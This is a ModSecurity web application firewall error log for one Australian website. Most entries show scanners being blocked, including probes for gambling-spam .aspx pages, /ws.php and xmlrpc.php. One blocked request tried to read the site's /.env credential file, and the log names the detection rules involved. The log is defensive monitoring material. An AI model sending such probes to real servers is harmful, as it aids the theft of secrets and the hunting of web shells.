[Sun Apr 26 20:32:48.907803 2026] [:error] [pid 8383:tid 8408] [client 65.108.125.120:61080] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "ae4F8NFa2S3EsATMdWNTHAAAAAs"]
[Sun Apr 26 20:33:36.967758 2026] [:error] [pid 13197:tid 13240] [client 65.108.125.120:6994] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker.aspx"] [unique_id "ae4GIN3kktFKdSxTrBvXrgAAAsk"]
[Sun Apr 26 20:33:39.306129 2026] [:error] [pid 16515:tid 16522] [client 65.108.125.120:50900] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "ae4GI1tDrUmgHSvpuLxDpgAAAkQ"]
[Sun Apr 26 20:33:41.788294 2026] [:error] [pid 13197:tid 13231] [client 65.108.125.120:50902] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20plus.aspx"] [unique_id "ae4GJd3kktFKdSxTrBvXtQAAAsA"]
[Sun Apr 26 20:34:12.627632 2026] [:error] [pid 22573:tid 22609] [client 65.108.125.120:37654] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "ae4GRHB3EmQlD4yKUt__dAAAAYM"]
[Sun Apr 26 20:34:15.258544 2026] [:error] [pid 8491:tid 8506] [client 65.108.125.120:37660] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20soft.aspx"] [unique_id "ae4GRyq7I7e6CJooQM0BIwAAAMc"]
[Sun Apr 26 20:34:27.700581 2026] [:error] [pid 8390:tid 8464] [client 65.108.125.120:48314] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20th.aspx"] [unique_id "ae4GU4GPtFK_i9p5yxRotQAAAI0"]
[Mon Apr 27 00:12:54.751297 2026] [:error] [pid 22572:tid 22585] [client 43.157.147.3:53024] [client 43.157.147.3] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "ae45htXOViWCFU-pZzBSFQAAAUc"]
[Mon Apr 27 01:36:12.155560 2026] [:error] [pid 16574:tid 16643] [client 36.255.40.68:52495] [client 36.255.40.68] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 36.255.40.68, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "ae5NDH5MsX8wRQr99nZO0wAAA1g"]
[Mon Apr 27 01:39:23.238916 2026] [:error] [pid 16574:tid 16643] [client 43.157.156.190:42634] [client 43.157.156.190] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "ae5Ny35MsX8wRQr99nZPGgAAA1g"]
[Mon Apr 27 02:53:31.746355 2026] [:error] [pid 8383:tid 8417] [client 192.144.148.122:51414] [client 192.144.148.122] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "ae5fK9Fa2S3EsATMdWPCOwAAABQ"]
[Mon Apr 27 03:25:55.802086 2026] [:error] [pid 8390:tid 8467] [client 20.255.80.192:4293] [client 20.255.80.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws.php"] [unique_id "ae5mw4GPtFK_i9p5yxTV0gAAAJA"]
[Mon Apr 27 03:25:56.280808 2026] [:error] [pid 22572:tid 22598] [client 20.255.80.192:4308] [client 20.255.80.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws.php"] [unique_id "ae5mxNXOViWCFU-pZzBqfwAAAVQ"]
[Mon Apr 27 03:25:56.775483 2026] [:error] [pid 16515:tid 16534] [client 20.255.80.192:4331] [client 20.255.80.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws.php"] [unique_id "ae5mxFtDrUmgHSvpuLx05gAAAlA"]
[Mon Apr 27 03:25:57.276437 2026] [:error] [pid 22573:tid 22629] [client 20.255.80.192:4361] [client 20.255.80.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws.php"] [unique_id "ae5mxXB3EmQlD4yKUt9IwAAAAZY"]
[Mon Apr 27 06:16:37.275221 2026] [:error] [pid 22646:tid 22694] [client 139.59.224.88:53348] [client 139.59.224.88] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env"] [unique_id "ae6OxYk_HyZhTP6AYaei8gAAAEs"]
[Mon Apr 27 09:12:04.704343 2026] [:error] [pid 7056:tid 7064] [client 125.75.66.97:59242] [client 125.75.66.97] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "ae635CaiHlvwyvjHbet1bAAAAQU"]
[Mon Apr 27 09:16:35.799759 2026] [:error] [pid 7056:tid 7080] [client 43.157.168.43:58052] [client 43.157.168.43] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "ae648yaiHlvwyvjHbet39gAAARU"]
[Mon Apr 27 13:34:45.416304 2026] [:error] [pid 62607:tid 62620] [client 51.75.119.154:39388] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "ae71dYXk80_zcPo33veliAAAAEs"]
[Mon Apr 27 13:34:48.234775 2026] [:error] [pid 62511:tid 62584] [client 51.75.119.154:57670] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "ae71eLBjE-jhU4FY4HhvpAAAAUo"]
[Mon Apr 27 13:34:50.531737 2026] [:error] [pid 62607:tid 62631] [client 51.75.119.154:57672] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "ae71eoXk80_zcPo33veljQAAAFY"]
[Mon Apr 27 13:34:53.138648 2026] [:error] [pid 62511:tid 62575] [client 51.75.119.154:57678] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "ae71fbBjE-jhU4FY4HhvpwAAAUE"]
[Mon Apr 27 13:34:55.538178 2026] [:error] [pid 62509:tid 62514] [client 51.75.119.154:44032] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "ae71f9wtbauadMz70GGBLwAAAIA"]
[Mon Apr 27 13:34:58.088933 2026] [:error] [pid 62511:tid 62583] [client 51.75.119.154:44038] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "ae71grBjE-jhU4FY4HhvrAAAAUk"]
[Mon Apr 27 13:35:00.709585 2026] [:error] [pid 62607:tid 62632] [client 51.75.119.154:44054] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "ae71hIXk80_zcPo33velmQAAAFc"]
[Mon Apr 27 13:35:03.136159 2026] [:error] [pid 62607:tid 62610] [client 51.75.119.154:44064] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "ae71h4Xk80_zcPo33velnAAAAEE"]
[Mon Apr 27 13:35:05.573837 2026] [:error] [pid 62509:tid 62533] [client 51.75.119.154:49488] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "ae71idwtbauadMz70GGBPQAAAJE"]
[Mon Apr 27 13:35:08.125421 2026] [:error] [pid 62607:tid 62632] [client 51.75.119.154:49494] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "ae71jIXk80_zcPo33velrQAAAFc"]
[Mon Apr 27 13:35:10.571561 2026] [:error] [pid 62607:tid 62618] [client 51.75.119.154:49500] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20co.aspx"] [unique_id "ae71joXk80_zcPo33velsQAAAEk"]
[Mon Apr 27 13:35:12.956090 2026] [:error] [pid 62607:tid 62627] [client 51.75.119.154:49504] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "ae71kIXk80_zcPo33veltQAAAFI"]
[Mon Apr 27 13:35:15.345205 2026] [:error] [pid 62510:tid 62559] [client 51.75.119.154:42252] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "ae71k4CpoM1jGOxUMpv0pQAAAM4"]
[Mon Apr 27 13:35:17.714919 2026] [:error] [pid 62607:tid 62628] [client 51.75.119.154:42254] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "ae71lYXk80_zcPo33velvwAAAFM"]
[Mon Apr 27 13:35:20.291874 2026] [:error] [pid 62607:tid 62618] [client 51.75.119.154:42258] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "ae71mIXk80_zcPo33velxgAAAEk"]
[Mon Apr 27 13:35:22.710302 2026] [:error] [pid 62511:tid 62577] [client 51.75.119.154:42266] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "ae71mrBjE-jhU4FY4HhvvAAAAUM"]
[Mon Apr 27 13:35:25.226972 2026] [:error] [pid 62607:tid 62626] [client 51.75.119.154:38940] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "ae71nYXk80_zcPo33velzAAAAFE"]
[Mon Apr 27 13:35:27.739298 2026] [:error] [pid 62607:tid 62616] [client 51.75.119.154:38952] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "ae71n4Xk80_zcPo33vel0wAAAEc"]
[Mon Apr 27 13:35:30.255073 2026] [:error] [pid 62510:tid 62562] [client 51.75.119.154:38966] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dg%20casino.aspx"] [unique_id "ae71ooCpoM1jGOxUMpv0tAAAANE"]
[Mon Apr 27 13:35:32.786691 2026] [:error] [pid 62510:tid 62568] [client 51.75.119.154:38976] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "ae71pICpoM1jGOxUMpv0tQAAANc"]
[Mon Apr 27 13:35:35.314521 2026] [:error] [pid 62511:tid 62580] [client 51.75.119.154:44810] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "ae71p7BjE-jhU4FY4HhvwwAAAUY"]
[Mon Apr 27 13:35:37.820776 2026] [:error] [pid 62510:tid 62569] [client 51.75.119.154:44822] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "ae71qYCpoM1jGOxUMpv0uQAAANg"]
[Mon Apr 27 13:35:40.375927 2026] [:error] [pid 62511:tid 62574] [client 51.75.119.154:44830] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "ae71rLBjE-jhU4FY4HhvxwAAAUA"]
[Mon Apr 27 13:35:42.772513 2026] [:error] [pid 62607:tid 62610] [client 51.75.119.154:44836] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h25%20com.aspx"] [unique_id "ae71roXk80_zcPo33vel4QAAAEE"]
[Mon Apr 27 13:36:03.882113 2026] [:error] [pid 62510:tid 62544] [client 51.75.119.154:35556] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game.aspx"] [unique_id "ae71w4CpoM1jGOxUMpv00gAAAMA"]
[Mon Apr 27 13:36:06.199573 2026] [:error] [pid 62607:tid 62618] [client 51.75.119.154:56778] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "ae71xoXk80_zcPo33vel-wAAAEk"]
[Mon Apr 27 13:36:08.716391 2026] [:error] [pid 62510:tid 62559] [client 51.75.119.154:56780] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker.aspx"] [unique_id "ae71yICpoM1jGOxUMpv01gAAAM4"]
[Mon Apr 27 13:36:11.270274 2026] [:error] [pid 62509:tid 62527] [client 51.75.119.154:56790] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "ae71y9wtbauadMz70GGBZAAAAIs"]
[Mon Apr 27 13:36:13.631170 2026] [:error] [pid 62511:tid 62586] [client 51.75.119.154:56802] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20plus.aspx"] [unique_id "ae71zbBjE-jhU4FY4Hhv2gAAAUw"]
[Mon Apr 27 13:36:15.868418 2026] [:error] [pid 62511:tid 62598] [client 51.75.119.154:42554] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "ae71z7BjE-jhU4FY4Hhv3QAAAVg"]
[Mon Apr 27 13:36:18.387419 2026] [:error] [pid 62607:tid 62624] [client 51.75.119.154:42562] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "ae710oXk80_zcPo33vemDAAAAE8"]
[Mon Apr 27 13:36:20.891147 2026] [:error] [pid 62511:tid 62581] [client 51.75.119.154:42566] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "ae711LBjE-jhU4FY4Hhv4gAAAUc"]
[Mon Apr 27 13:36:23.416184 2026] [:error] [pid 62607:tid 62614] [client 51.75.119.154:42582] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "ae7114Xk80_zcPo33vemFQAAAEU"]
[Mon Apr 27 13:36:25.931981 2026] [:error] [pid 62607:tid 62619] [client 51.75.119.154:59280] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "ae712YXk80_zcPo33vemHQAAAEo"]
[Mon Apr 27 13:36:28.439958 2026] [:error] [pid 62607:tid 62631] [client 51.75.119.154:59292] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "ae713IXk80_zcPo33vemJAAAAFY"]
